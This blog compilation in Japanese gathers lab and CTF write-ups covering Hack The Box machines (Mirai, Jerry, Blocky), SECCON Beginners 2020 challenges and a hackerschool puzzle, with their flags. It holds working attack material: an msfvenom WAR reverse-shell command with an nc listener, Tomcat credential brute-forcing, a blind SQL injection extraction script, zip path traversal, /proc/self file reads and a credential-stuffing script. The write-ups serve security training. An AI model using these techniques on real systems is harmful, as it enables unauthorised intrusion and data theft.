【Hack The Box】Mirai Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.48
22(ssh)、53(dns)、80(http)が開いてる。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセスするが、何も表示されない。
ディレクトリスキャン
gobuster
でディレクトリスキャンを実行。
# gobuster dir -u http://10.10.10.48/ -w /usr/share/dirb/wordlists/common.txt
/adminが気になる。
/adminへアクセス、ログイン試行
/adminへアクセスすると、以下のような画面。
左メニューにあるLoginにもアクセスしてみる。
「Pi-hole」というものが分からなかったので、どうやらラズベリーパイで動かすためのソフトウェアとのこと。
マシン名の「Mirai」からもデフォルトパスワードの使用が考えられるため、Pi-holeのデフォルトクレデンシャルを調査した。
「pi-hole default password」で調べると、以下がデフォルトクレデンシャルのようだ。
- username:pi
- password:raspberry
このクレデンシャルではWeb画面のログインできなかったが、sshでは入れた。
Desktopへ移動し、user.txtをゲット。
権限昇格からroot.txt取得まで
sudo
の権限を確認する。
# sudo -l
rootになれて、全てのコマンド実行ができそうなのでrootになり、root.txtを確認したが、
I lost my original root.txt! I think I may have a backup on my USB stick...
とのこと。。
以下のコマンドを実行し、usbがマウントされているパスを調べる。
# df -h
出力された/media/usbstick
に移動するも、damnit.txt
しかない。中を確認すると、USBから削除してしまったと書いてある。
デバイスファイルそのものをstrings
で確認すると、flagらしき文字列が見つかり、これが答えだった。
# strings /dev/sdb
user.txt:ff837707441b257a20e32199d7c8838d
root.txt:3d3e483143ff12ec505d026fa13e020b
【Hack The Box】Jerry Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.95
8080(http)が開いてる。
ブラウザで8080番ポートへアクセス
ブラウザで8080番ポートへアクセスすると、tomcatの管理画面。
ディレクトリスキャン
いつもはgobuster
を使うが、色々なツールを使いこなすためにwfuzz
を使ってでディレクトリスキャンを実行してみる。
# wfuzz -z file,/usr/share/dirb/wordlists/common.txt -c --hc 404 -t 100 http://10.10.10.95:8080/FUZZ
気になるものはなし。
管理画面への認証試行
ディレクトリスキャンで次につながるものを見つけられなかったので、tomcat管理画面への認証試行を行う。
「tomcat default credentioal」とかで調べて見つけた以下のサイトでユーザーリスト、パスワードリストを作成し、wfuzz
で認証試行。
Default-Credentials/Apache-Tomcat-Default-Passwords.mdown at master · netbiosX/Default-Credentials · GitHub
# wfuzz -z list,admin-manager-role1-root-tomcat -z list,password-Password1-password1-admin-tomcat-manager-role1-changethis-r00t-s3cret --basic FUZZ:FUZ2Z -c --hc 401 http://10.10.10.95:8080/manager/html
tomcat - s3cretという組み合わせでログイン成功。
リバースシェルのアップロード
ログインすると、以下のような画面。warファイルをアップロードができそうなので、ここにmsfvenom
でwarのリバースシェルをアップロードする。
リバーシェル獲得のためのwarファイルの生成は、msfvenomのチートシートを参考にした。
MSFVenom Cheatsheet « Red Team Tutorials
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.23 LPORT=1111 -f war > shell.war
アップロード成功。
シェルの獲得
nc
を使って1111ポートで待ち受ける。
# nc -lvp 1111
ブラウザで、アップロードしたパスへアクセスすると、シェルが返ってきた。しかもシステム権限で。
あとは、user.txtとroot.txtを確認して終了。
user.txt:7004dbcef0f854e0fb401875f26ebd00
root.txt:04a8b36e1545a455393d067e772fe90e
追記
認証失敗時のエラー画面に、tomcat - s3cretと書かれてました。ちゃんと確認すればwfuzz
で認証試行する必要なかったようだ。
SECCON beginners 2020 Writeup(Web)
はじめに
SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
今回はWebジャンル。Spy、Tweetstore、unzipの3問を記載。
Miscジャンルの記事は以下。 paichan-it.hatenablog.com
Cryptoジャンル(R&Bのみ)は以下。 paichan-it.hatenablog.com
[Web] Spy(Beginner)
問題
As a spy, you are spying on the "ctf4b company". You got the name-list of employees and the URL to the in-house web tool used by some of them. Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
employees.txtとapp.pyが添付されている。
import os import time from flask import Flask, render_template, request, session # Database and Authentication libraries (you can't see this :p). import db import auth # ==================== app = Flask(__name__) app.SALT = os.getenv("CTF4B_SALT") app.FLAG = os.getenv("CTF4B_FLAG") app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY") db.init() employees = db.get_all_employees() # ==================== @app.route("/", methods=["GET", "POST"]) def index(): t = time.perf_counter() if request.method == "GET": return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": name = request.form["name"] password = request.form["password"] exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) # ==================== @app.route("/challenge", methods=["GET", "POST"]) def challenge(): t = time.perf_counter() if request.method == "GET": return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) if request.method == "POST": answer = request.form.getlist("answer") # If you can enumerate all accounts, I'll give you FLAG! if set(answer) == set(account.name for account in db.get_all_accounts()): message = app.FLAG else: message = "Wrong!!" return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t)) # ==================== if __name__ == '__main__': db.init() app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
employees.txtに記載のあるユーザのうち、存在するユーザを選択すればフラグがゲットできるようだ。
解法
app.py
を確認。ログイン試行するユーザが存在している場合にはauth.calc_password_hash(app.SALT, password)
で複数回のストレッチングが行われるため、レスポンスが遅くなる模様。
ユーザが存在しない場合には、一瞬でレスポンスが返ってくる。これらは、ブラウザにも表示されるため容易に確認することができる。
Arthurでログイン試行した場合
Elbertでログイン試行した場合
26回手動でログイン試行すればよいので時間はかからないが、競技終了後あえてスクリプトを書いてみた。
import requests import bs4 import re with open("employees.txt", "r") as f: employees = f.readlines() URL = "https://spy.quals.beginners.seccon.jp/" for i in employees: DATA = {"name":i.rstrip(), "password":123} rpost = requests.post(url=URL, data=DATA) soup = bs4.BeautifulSoup(rpost.text, "html.parser") timeData = soup.find("p").get_text() extractData = "".join(re.findall("[0-9]{1,}.[0-9]{1,}", timeData)) print(i.rstrip() + " : " + extractData)
実行結果は以下。
Arthur : 0.0003507 Barbara : 0.0003492 Christine : 0.0003667 David : 0.0003282 Elbert : 0.5867867 Franklin : 0.0003587 George : 0.5761458 Harris : 0.0003731 Ivan : 0.0003675 Jane : 0.0003095 Kevin : 0.0003963 Lazarus : 0.5207610 Marc : 0.6260417 Nathan : 0.0003987 Oliver : 0.0004116 Paul : 0.0004193 Quentin : 0.0003628 Randolph : 0.0003301 Scott : 0.0003395 Tony : 0.6102204 Ulysses : 0.0003216 Vincent : 0.0003582 Wat : 0.0002925 Ximena : 0.3995440 Yvonne : 0.6283144 Zalmon : 0.0003918
この中で、他と比べてレスポンス時間が長いのは、「Elbert」、「George 」、「Lazarus 」、「Marc 」 、「Tony 」、「Ximena 」、「Yvonne 」である。
これらのユーザをチェックボックスで選択しAnswerをクリックしたら、フラグが表示された。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
[Web] Tweetstore(Easy)
問題
Search your flag! Server: https://tweetstore.quals.beginners.seccon.jp/
添付されているzipからはwebserver.go
が解凍された。
package main import ( "context" "fmt" "log" "os" "strings" "time" "database/sql" "html/template" "net/http" "github.com/gorilla/handlers" "github.com/gorilla/mux" _"github.com/lib/pq" ) var tmplPath = "./templates/" var db *sql.DB type Tweets struct { Url string Text string Tweeted_at time.Time } func handler_index(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(tmplPath + "index.html") if err != nil { log.Fatal(err) } var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] } var data []Tweets ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() rows, err := db.QueryContext(ctx, sql) if err != nil{ http.Error(w, http.StatusText(500), 500) return } for rows.Next() { var text string var url string var tweeted_at time.Time err := rows.Scan(&url, &text, &tweeted_at) if err != nil { http.Error(w, http.StatusText(500), 500) return } data = append(data, Tweets{url, text, tweeted_at}) } tmpl.Execute(w, data) } func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } } func main() { initialize() r := mux.NewRouter() r.HandleFunc("/", handler_index).Methods("GET") http.Handle("/", r) http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux)) }
上記コードより、今回はdbuserがフラグとなる。データベースはpostgreSQLのようだ。
解法
当日は解けなかったが、以下のwriteupを参考に、理解した。
SECCON Beginners CTF 2020 Writeup - こんとろーるしーこんとろーるぶい
search word(searchパラメータ)
に一致したツイートがsearch limit(limitパラメータ)
件数以下表示されるwebページ。
webserver.go
を確認してみると、以下よりlimit句の中に入るsearchパラメータはシングルクォートがエスケープされていることが分かる。
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
一方、limitパラメータはエスケープされていないため、ここが狙い目になりそう。
sql += " limit " + strings.Split(limit[0], ";")[0]
これらより、生成されるSQL文は以下のようになる。
select url, text, tweeted_at from tweets where text like '%{search}%' order by tweeted_at desc limit {limit}
今回はdbuserがフラグであるため、postgreSQLのシステム情報関数であるcurrent_user
が使えそう。
試しに、limit句にascii(substr(current_user,1,1))
を挿入し、リクエストを送付すると、無事ステータスコード200が返ってきた。
何をやっているかというと、substr(current_user,1,1)
でデータベースに接続しているユーザ名の一文字目を取得し、その結果をasciiコード番号に変換している。
asciiコード暗号に変換することで、limit X(X:数値)
の形になり、文法的に正しくなる。
BurpのRepeaterを見るとこんな感じ。99件のツイートが取得された。99はascii文字に変換するとc
。
同様に、ascii(substr(current_user,2,1))
を挿入してリクエストすると116件のツイートが取得できた。116はascii文字に直すとt
、ascii(substr(current_user,3,1))
では102件=f
。
表示されたツイート数がdbuserになりそう。以下のようなスクリプトを書いた。
import requests URL = "https://tweetstore.quals.beginners.seccon.jp/" flag = "" for i in range(40): rget = requests.get( url = URL, params = { "search":"", "limit":"ascii(substr(current_user,{},1))".format(i+1) } ) res = rget.text.count("Watch@Twitter") flag += chr(res) print(flag)
実行すると、フラグが表示される。
ctf4b{is_postgres_your_friend?}
[Web] unzip(Easy)
問題
Unzip Your .zip Archive Like a Pro.
PHPのコードと、docker-compose.ymlが渡される。
index.php
<?php error_reporting(0); session_start(); // prepare the session $user_dir = "/uploads/" . session_id(); if (!file_exists($user_dir)) mkdir($user_dir); if (!isset($_SESSION["files"])) $_SESSION["files"] = array(); // return file if filename parameter is passed if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } } // process uploaded files $target_file = $target_dir . basename($_FILES["file"]["name"]); if (isset($_FILES["file"])) { // size check of uploaded file if ($_FILES["file"]["size"] > 1000) { echo "the size of uploaded file exceeds 1000 bytes."; die(); } // try to open uploaded file as zip $zip = new ZipArchive; if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { echo "failed to open your zip."; die(); } // check the size of unzipped files $extracted_zip_size = 0; for ($i = 0; $i < $zip->numFiles; $i++) $extracted_zip_size += $zip->statIndex($i)["size"]; if ($extracted_zip_size > 1000) { echo "the total size of extracted files exceeds 1000 bytes."; die(); } // extract $zip->extractTo($user_dir); // add files to $_SESSION["files"] for ($i = 0; $i < $zip->numFiles; $i++) { $s = $zip->statIndex($i); if (!in_array($s["name"], $_SESSION["files"], TRUE)) { $_SESSION["files"][] = $s["name"]; } } $zip->close(); } ?> <!DOCTYPE html> <html> <head> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title></title> </head> <body> <nav role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="/" class="brand-logo">Unzip</a> </div> </nav> <div class="container"> <br><br> <h1 class="header center teal-text text-lighten-2">Unzip</h1> <div class="row center"> <h5 class="header col s12 light"> Unzip Your .zip Archive Like a Pro </h5> </div> </div> </div> <div class="container"> <div class="section"> <h2>Upload</h2> <form method="post" enctype="multipart/form-data"> <div class="file-field input-field"> <div class="btn"> <span>Select .zip to Upload</span> <input type="file" name="file"> </div> <div class="file-path-wrapper"> <input class="file-path validate" type="text"> </div> </div> <button class="btn waves-effect waves-light"> Submit <i class="material-icons right">send</i> </button> </form> </div> </div> <div class="container"> <div class="section"> <h2>Files from Your Archive(s)</h2> <div class="collection"> <?php foreach ($_SESSION["files"] as $filename) { ?> <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a> <? } ?> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> </body> </html>
docker-compose.yml
version: "3" services: nginx: build: ./docker/nginx ports: - "127.0.0.1:$APP_PORT:80" depends_on: - php-fpm volumes: - ./storage/logs/nginx:/var/log/nginx - ./public:/var/www/web environment: TZ: "Asia/Tokyo" restart: always php-fpm: build: ./docker/php-fpm env_file: .env working_dir: /var/www/web environment: TZ: "Asia/Tokyo" volumes: - ./public:/var/www/web - ./uploads:/uploads - ./flag.txt:/flag.txt restart: always
docker-compose.ymlを確認すると、この問題は、nginxコンテナとphp-fpmコンテナの2つで構成されており、./flag.txtがマウントされていることが分かる。
このflag.txtを読み出すことが目標だ。
解説
aaa.zipをアップロードしてみる。すると、aaa.zip内に含まれているファイル名(aaa.txt)が表示される。
ファイル名をクリックすると、そのファイルの中身を参照することができるサービス。
index.php
の以下の部分を見ると、アップロードしたファイルは/uploads/{session_id}/filename
に配置されるようだ。
$user_dir = "/uploads/" . session_id(); (snip) if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } }
docker-compose.yml
から、フラグのパスは分かっている(/flag.txt)。つまり、filename
が../../flag.txt
となればフラグがゲットできそう。しかし、windowsでは、ファイル名に/
という文字を含むことができないため、工夫する必要がある。以下の様にしてzipファイルを作成した。
..A..Aflag.txt
という名前のファイルを作成。- zip圧縮する。
3.バイナリエディタで
A
を/
に書き換える。 4.保存
こうして出来上がったzipファイルをアップロードすると、ファイル名に../../flag.txt
が!
ここにアクセスしてフラグゲット。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
SECCON beginners 2020 Writeup(Crypto:R&B)
はじめに
SECCON beginners 2020に個人で参加。
解けたのはBeginne問題のみ。
Miscジャンルの記事は以下。 paichan-it.hatenablog.com
[Crypto] R&B(Beginner)
問題
Do you like rhythm and blues?
添付されているzipからはencoded_flag
とproblem.py
が解凍された。
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
解法
problem.py
を確認する。FORMAT
という環境変数の中を一文字ずつ確認していて、R
であれば、先頭にFLAG
をrot13
エンコードした結果の先頭にR
を付与し、B
であれば、先頭にFLAG
をbase64
エンコードした結果の先頭にB
を付与するという流れ。 デコードはこれと逆のことをやれば良い。
先頭文字がR
であればR
を取り除いたうえでrot13
デコード、先頭文字がB
であればB
を取り除いたうえで`base64デコード。
以下のスクリプトを実行し、フラグゲット。
import codecs import base64 with open("encoded_flag", "r") as f: data = f.read() while True: if (data[0] == "R"): data = codecs.decode(data[1:], "rot13") elif (data[0] == "B"): data = base64.b64decode(data[1:]).decode("utf-8") else: print(data) break
ctf4b{rot_base_rot_base_rot_base_base}
SECCON beginners 2020 Writeup(Misc)
はじめに
SECCON beginners 2020に個人で参加。
時間内に解けなかった問題も他の方のwriteupを参考にして、 自分の言葉でwriteupを書いていくことにする。
まずはMiscジャンルから。
[Misc] Welcome(Beginner)
問題
Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
解法
[Rules]を見ると、DicordのURLが記載されている。 ここにアクセスしてフラグ発見。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
[Misc] emoemoencode(Easy)
問題
Do you know emo-emo-encode?
以下添付ファイルの中身。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
解法
「emoji encode」などで検索していると、以下のサイトが見つかる。
apps.timwhitlock.info
unicodeらしい。CyberChef
のRecipe
にTo Charcode
をセットして出力を確認する。
どの絵文字も共通して01f3
から始まっている。
フラグフォーマットである、ctf4b{
を変換してみると、絵文字の下二桁をとったものと一致していた。(01f363 01f374 01f366 01f334 01f362 01f37b )
後は、01f3
を取り除いたものを、From CharCode
に食わせるだけ。
ctf4b{stegan0graphy_by_em000000ji}
[Misc] readme(Easy)
問題
readme nc readme.quals.beginners.seccon.jp 9712
添付されているzipからはserver.py
が解凍された。
#!/usr/bin/env python3 import os assert os.path.isfile('/home/ctf/flag') # readme if __name__ == '__main__': path = input("File: ") if not os.path.exists(path): exit("[-] File not found") if not os.path.isfile(path): exit("[-] Not a file") if '/' != path[0]: exit("[-] Use absolute path") if 'ctf' in path: exit("[-] Path not allowed") try: print(open(path, 'r').read()) except: exit("[-] Permission denied")
解法
/home/ctf/flag
にフラグがあるが、入力にctf
が含まれていると、Path not allowed
が表示されるらしい。確認してみる。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /home/ctf/flag [-] Path not allowed
確かに。ctf
という文字列を使わずに、このファイルにアクセスする必要がるようだ。
前に参加したCTFで以下のページの記憶が残っていたので、/proc/self/
ディレクトリを駆使すれば解けそうだ。
web.mit.edu
/proc/self/
ディレクトリは、現在実行中のプロセスのリンクであり、プロセスの状況を把握するために活用できる。
勉強がてら/proc/self/
ディレクトリ配下を色々調べてみる。
- cmdline:プロセスを開始する時に発行されるコマンドを含む。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cmdline python3./server.py
どこかのディレクトリで、server.py
が実行されていることが分かる。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/environ HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=28595SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=126.0.26.69SOCAT_PEERPORT=55925
環境変数が表示される。PWD=/home/ctf/server
よりserver.py
が実行されているディレクトリがわかった。
root@kali:~/ctf4b/readme# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
こんな階層ってこと。
― /home
❘__ /ctf
❘__ flag
❘__ /server
❘__server.py
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
【Hack The Box】Blocky Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.37
21(ftp)、22(ssh)、80(http)が開いている。80番ポートはWordPressが動いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセスするとこんな画面。
ディレクトリスキャン
gobuster
でディレクトリスキャンを実行。
# gobuster dir -u http://10.10.10.37 -w /usr/share/dirb/wordlists/common.txt
/plugins/にアクセスすると、ファイルを2つ発見。
BlockyCore.jarの解析
Downloadsディレクトリからカレントディレクトリにコピーし、ファイルタイプを確認する。
# cp /root/Downloads/* . # ls | xargs file
BlockyCore.jarを解凍し、解凍されたものを見てみる。BlockyCore.classには"root"という文字列とランダムな文字列(パスワード?)も見える。
# jar xvf BlockyCore.jar
jd-gui
でBlockyCore.classをデコンパイル。ランダムな文字列はパスワードであることが分かる。
sshアクセス
勝利を確信し、rootユーザを上記で見つけたパスワードでsshアクセス試行したが、駄目だった。
# ssh root@10.10.10.37
wpscan
80番ポートではWordPressが動いていることを思い出し、wpscan
を実行。ユーザ名を列挙する--enumerate u
オプションをつける。
# wpscan --url http://10.10.10.37 --enumerate u
「notch」と「Notch」というユーザが列挙された。
sshアクセス 2
wpscan
で列挙された「notch」でsshアクセス試行したところ、ログイン成功。パスワードはBlockyCore.classのデコンパイルで見つけたものを使用。
user.txtも発見できた。
# ssh notch@10.10.10.37 # cat user.txt
権限昇格
rootに権限昇格するヒントを得るために、まずは以下を実行。
$ sudo -l
どのユーザにもなれて、どのコマンドの実行も許可されている。
cat
コマンドでroot.txtの中身を確認して終了。
$ sudo cat /root/root.txt
user.txt:59fee0977fb60b8a0bc6e41e751f3cd5
root.txt:0a9694a5b4d272c694679f7860f1cd5f
【8946】Take#55 writeup
はじめに
今更ながら8946のTake#55を解いたので、そのwriteupを。 www.hackerschool.jp
問題
あるサイトから流出した会員IDのリストを入手しました。 パスワードの記載はなく、会員IDのみのリストです。 このリストを元に、下記サイトのログイン認証を突破してみてください。 ログイン成功後、表示されるパスワードを以下のフォームに入力すればクリアです。
「会員IDのリスト」は10000件のIDが書かれたテキストファイル。
「下記サイト」にアクセスすると以下のような画面が表示される。
問題紹介には「Joeアカウント」と記載されている。
解法
Joeアカウントとは、IDとパスワードが同じアカウントのことを言う。
(例 ID:joe、パスワード:joe)
問題紹介にもあるように、10000万のIDのなかからこのページにログインできるアカウント(joeアカウント)を探せという問題。
10000通りを手動で調べるのは無理なので、以下のようなスクリプトを書いた。
認証失敗すると、レスポンスに「Error!」という文字列が含まれるため、レスポンスにその文字列が含まれないPOSTデータを表示するスクリプト。
import requests # take55のURL URL = "http://www.hackerschool.jp/hack/take55_attack.php" # take55_id_data.txtの内容全てを読み出し、一行毎にリスト化 with open(r"8946\take55_id_data.txt", "r") as f: fdata = f.readlines() s = requests.Session() # POSTするデータにid、passが同じものを一つずつリクエスト # 改行コードが邪魔なのでstripで削除 for i in fdata: rpost = s.post( url = URL, data = {"id":i.strip(),"pass":i.strip()}, headers = {"Cookie":"Your Cookie"} ) # レスポンスの中に"Error!"が含まれていないPOSTデータを表示 if ("Error!" not in rpost.text): print(i.strip()) break